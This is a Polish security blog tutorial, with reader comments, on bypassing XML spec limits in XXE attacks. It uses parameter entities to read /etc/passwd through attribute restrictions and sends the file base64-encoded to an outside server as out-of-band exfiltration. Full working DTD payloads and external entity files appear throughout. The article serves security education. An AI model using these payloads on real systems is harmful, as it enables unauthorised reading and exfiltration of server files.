Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

XML eXternal Entities (XXE) a bezpieczeństwo – drugie starcie

26 maja 2014, 17:25 | Teksty | komentarze 4

Wstęp

Ten artykuł stanowi rozwinięcie poprzedniego tekstu o XML eXternal Entities (XXE). Przedstawiłem w nim prosty przykład na to, jak parsowanie plików XML może prowadzić do czytania dowolnego pliku z dysku atakowanej maszyny.

Scenariusz przedstawiony w poprzednim tekście nie musi jednak zawsze zadziałać ze względu na pewne obostrzenia nakładane przez specyfikację XML. Jednakże ograniczenia są po to, by je obchodzić ;), dlatego pokażę, w jaki sposób można podejść do wykorzystania podatności XXE, nawet jeśli w odpowiedzi serwera nie zobaczymy sparsowanego XML-a.

 

XXE a atrybuty

Na potrzeby przykładów, będę używał prostej aplikacji napisanej w PHP symulującej prostą platformę transakcyjną.

xxea1

Z lewej strony widzimy treść XML-a będącego zapytaniem do serwera, z kolei w drugim polu tekstowym znajduje się XML-owa odpowiedź. Zapytanie do serwera składa się z elementu nadrzędnego data, który zawiera element transaction definiowany przez atrybut id. W transakcji znajdują się takie podstawowe cechy jak kwota, waluta i krótki opis. W odpowiedzi serwer wysyła element response składający się również z elementu transaction definiowanego przez to samo id, które znajdowało się w zapytaniu. Wewnątrz elementu transaction znajduje się element status, który pozwala stwierdzić, czy transakcja zakończyła się sukcesem czy niepowodzeniem.

W podanym przykładzie jedynym elementem zapytania, który jest „odbijany” na wyjściu, jest atrybut id elementu transaction. Spróbujmy więc zrobić proste XXE, tak jak pokazywałem w poprzednim artykule.

xxea2

Akcja zakończona niepowodzeniem, z błędem „Attribute references external entity 'file’”. Ten błąd wynika bezpośrednio ze specyfikacji języka XML, która definiuje, że zewnętrzne encje (external entities) nie mogą znajdować się wewnątrz atrybutów. Co więc zrobić? Skorzystamy ze słabo znanego, innego typu encji: PE – Parameter Entity. W dalszej części tekstu będę się do nich odnosił przez słowa „encje PE”.

Encje PE mogą być stosowane wyłącznie w części DTD (Document Type Definition) pliku XML. Innymi słowy, muszą znaleźć się wewnątrz elementu !DOCTYPE. Encje PE pozwalają zdefiniować fragmenty XML-a, które następnie zostaną wykonane w DTD. Cechą charakterystyczną encji PE jest znak procenta (%). Podobnie jak w przypadku klasycznych encji, można powiedzieć, że encje PE działają na zasadzie mechanizmu znajdź-i-zamień. Co istotne – encje PE też mogą być zewnętrzne (przez dodanie słowa SYSTEM).

Zobaczmy przykład:

<!DOCTYPE xxe [

<!ENTITY % test "<!ENTITY t 'abc'>">

%test;

] >

Przeanalizujmy krok po kroku, jak ten zapis jest interpretowany przez parser XML-a:

  1. Definiowana jest encja PE o nazwie test, której zawartość to <!ENTITY t 'abc’>.
  2. Referencja do zmiennej test (%test;) – a zatem w tym miejscu należy podstawić zawartość encji PE test, czyli <!ENTITY t 'abc’>. Zapisz %test; w encjach PE jest odpowiednikiem zapisu &test; dla encji „klasycznych”.

Efektywnie więc, w tych dwóch liniach kodu wewnątrz DOCTYPE-a, zdefiniowana została po prostu klasyczna encja t o wartości abc. Najlepszym dowodem na to, że jest tak rzeczywiście, jest komunikat o błędzie, gdy spróbujemy zdefiniować taką samą encję jak w przykładzie powyżej:

xxea3

Spróbujmy więc jakoś użyć encji PE, by obejść ograniczenie dotyczące zewnętrznych encji w atrybutach. Zastanówmy się nad takim zapisem:

<!DOCTYPE xxe [

<!ENTITY % test SYSTEM "file:///etc/passwd" >

<!ENTITY x "%test;">

] >

Wklejony kod powinien zadziałać następująco:

  • Zdefiniowana zostaje encja PE %test; zawierająca zawartość pliku /etc/passwd.
  • Do klasycznej encji &x; podstawiana jest zawartość encji PE %test;.

Czy to zadziała? Sprawdźmy.

xxea4

Niestety, ten przykład również nie zadziałał. Jak widzimy w pierwszej linii: „PEReferences forbidden in internal subset”. Oznacza to, że encje PE nie mogą znajdować się wewnątrz deklaracji encji w DTD. Co ciekawe jednak, specyfikacja XML-a wskazuje, że to ograniczenie nie dotyczy zewnętrznych encji PE.

Zmodyfikujmy więc przykład odrobinę:

<!DOCTYPE xxe [

<!ENTITY % aaa SYSTEM "http://sekurak.pl/data/aaa" >

%aaa;

%encja;

] >

Zaś w pliku http://sekurak.pl/data/aaa wpiszmy:

<!ENTITY % test SYSTEM "file:///etc/passwd">

<!ENTITY % encja '<!ENTITY test "%test;">'>

 

xxea5

/etc/passwd wyświetlony – czyli sukces :)

Przeanalizujmy, co dokładnie się stało:

  1. W dokumencie XML definiujemy encję PE %aaa; która ma zostać pobrana z zewnętrznego pliku.
  2. Ten zewnętrzny plik zawiera definicje dwóch kolejnych encji PE: %test; – z zawartością pliku /etc/passwd oraz %encja; – której celem jest zdefiniowanie klasycznej encji &test; z zawartością encji %test;.
  3. Odwołujemy się do encji %aaa;. Zostają więc zdefiniowane encje %test; oraz %encja;.
  4. Odwołujemy się do encji %encja; – zostaje więc zdefiniowana encja &test;, której zawartością jest zawartość encji %test; – a więc plik /etc/passwd.

 

XXE i brak możliwości odczytania wyjścia

Pokazałem, jak można rozwiązać problem z encjami w atrybutach. Czasem jednak nie mamy nawet tego – może się zdarzyć, że serwer nie wysyła w odpowiedzi żadnej wartości pobranej z żądania. Nie mamy więc żadnej kontroli nad jej treścią. Jak w przykładzie:

xxea6

Tym razem nie ma sensu próbować wstrzyknięć w atrybut id, bo i tak nie jest wysyłany w odpowiedzi. Będziemy potrzebowali przeprowadzenia ataku „out of bands”, a więc odpowiedź powinna przyjść do nas innym kanałem niż tylko odpowiedź serwera. Konkretniej: spróbujemy zmusić serwer ofiary do wysłania żądania http do serwera kontrolowanego przez nas.

Po raz kolejny, w realizacji celu pomogą encje PE. W gruncie rzeczy rozwiązanie problemu jest bardzo podobne do poprzedniego.

Wróćmy do zawartości, która znajdowała się w pliku http://sekurak.pl/data/aaa:

<!ENTITY % test SYSTEM "file:///etc/passwd">

<!ENTITY % encja '<!ENTITY test "%test;">'>

Zacznę od tego, że w encji PE %test; skorzystam z wrappera PHP zamieniającego treść pliku na jego reprezentację Base64 (przykład podawałem w poprzednim artykule). Jak wiadomo plik /etc/passwd składa się z wielu linii i składa się ze znaków, które nie są poprawne w URL-u. Stąd potrzeba zamiany na base64. Z kolei encję %encja; zmodyfikuję w taki sposób, aby definiowała zewnętrzną encję &test; odnoszącą się do domeny sekurak.pl:

<!ENTITY % test SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

<!ENTITY % encja '<!ENTITY test SYSTEM "http://sekurak.pl /?%test;">'>

Z kolei w samym XML-u należy pamiętać o tym, aby zewnętrznej encji &test; nie umieszczać w atrybucie, bo, jak wiemy, jest to zabronione.

Cały XML będzie wyglądał następująco:

<!DOCTYPE xxe [

<!ENTITY % bbb SYSTEM "http://sekurak.pl/datav/bbb">

%bbb;

%encja;

] >

<data>

<transaction id="5370347">

   <sell>

     <amount>39.84&test;</amount>

     <currency>PLN</currency>

     <description>Red Team Field Manual</description>

   </sell>

</transaction>

</data>

Zobaczmy co się stanie:

xxea7

W odpowiedzi nic szczególnego nie widać, mamy tylko status OK. Coś ciekawego powinno jednak znaleźć się w logach webserwera:

xxea8

Zostało wykonane żądanie http do serwera Sekuraka – wszystko działa zgodnie z oczekiwaniami.

Przeanalizujmy, jak zachował się parser:

  1. Encja PE %bbb; odnosi się do pliku z zewnętrznej domeny http://sekurak.pl/data/bbb.
  2. W pliku zdefiniowana jest encja PE %test; zawierająca zawartość pliku /etc/passwd w postaci base64.
  3. Encja PE %encja; definiuje z kolei encję &test;, która jest standardową zewnętrzną encją – jednak w URL-u, w miejscu encji PE %test; zostanie podstawiona zawartość pliku /etc/passwd w base64.
  4. W efekcie, parser XML musi wykonać żądanie do serwera Sekuraka, dodając w parametrze GET-owym treść pliku.

Sposób, który przedstawiłem wyżej, można jeszcze zmodyfikować – celem będzie całkowite pozbycie się „tradycyjnych” encji i zrobienie wszystkiego za pomocą encji PE. Poniżej pokażę gotowe rozwiązanie.

Definicja DOCTYPE:

<!DOCTYPE xxe [

<!ENTITY % ccc SYSTEM "http://sekurak.pl/data/ccc">

%ccc;

%encja;

%encja2;

] >

Plik http://sekurak.pl/data/ccc:

<!ENTITY % test SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

<!ENTITY % encja '<!ENTITY &#37; encja2 SYSTEM "http://sekurak.pl/encja2?%test;">'>

Na podstawie dotychczas omówionych przykładów, zrozumienie tego nie powinno być problemem :). Jedyny haczyk, jaki należało zastosować, polegał na zamienia znaku % na &#37; (encję znakową), aby obejść ograniczenie niepozwalające definiować encji PE wewnątrz innych encji PE.

Zrzut ekranu:

xxea9

Tym razem serwer odpowiedział całą rzeszą błędów i ostrzeżeń. Spowodowane jest to wyłącznie faktem, że plik /encja2 nie istnieje na serwerze Sekuraka i serwer zwrócił kod 404. Gdyby przygotować tam poprawny składniowo plik, błędy nie pojawiłyby się. Ostrzeżenia jednak w niczym nie przeszkadzają, bo liczy się tylko fakt, że serwer wysłał do serwera Sekuraka żądanie zawierające treść pliku /etc/passwd:

xxea10

 

Podsumowanie

W artykule pokazałem, jak można obejść ograniczenia nakładane przez specyfikację XML, by praktycznie wykorzystać błąd XXE do odczytu plików. Pierwszym problemem było dołączanie zewnętrznych encji wewnątrz atrybutów (operacja zabroniona przez standard), a drugim czytanie zawartości plików w sposób inny niż poprzez odpowiedź serwera – w praktyce sprowadzające się do zmuszenia serwera ofiary do wysłania żądania http do serwera kontrolowanego przez atakującego.

Obie metody wymagają pobierania plików z zewnętrznych domen, wobec tego nie można ich użyć na serwerach blokujących połączenia wychodzące.

 

Michał Bentkowski

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Pięknie:)

    Odpowiedz
  2. chesteroni

    „parser error : Detected an entity reference loop”

    Takie coś otrzyma się przy tym tworzeniu encji w encji. Próbowałem zarówno dokładnie tak, jak w artykule jak i tak, jak było to na blackhacie przedstawiane.

    Odpowiedz
    • W jakim języku programowania i parserze XML?

      Odpowiedz
  3. dawid

    Lubię wracać do starszych artykułów co jakiś czas. Przetestowałem na obecnym środowisku testowym i u mnie również nie działa encje w encjach. Coś się zmieniło od ostatniego czasu?
    PHP: 7.0.22
    DOMDocument()->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD)

    Odpowiedz

Odpowiedz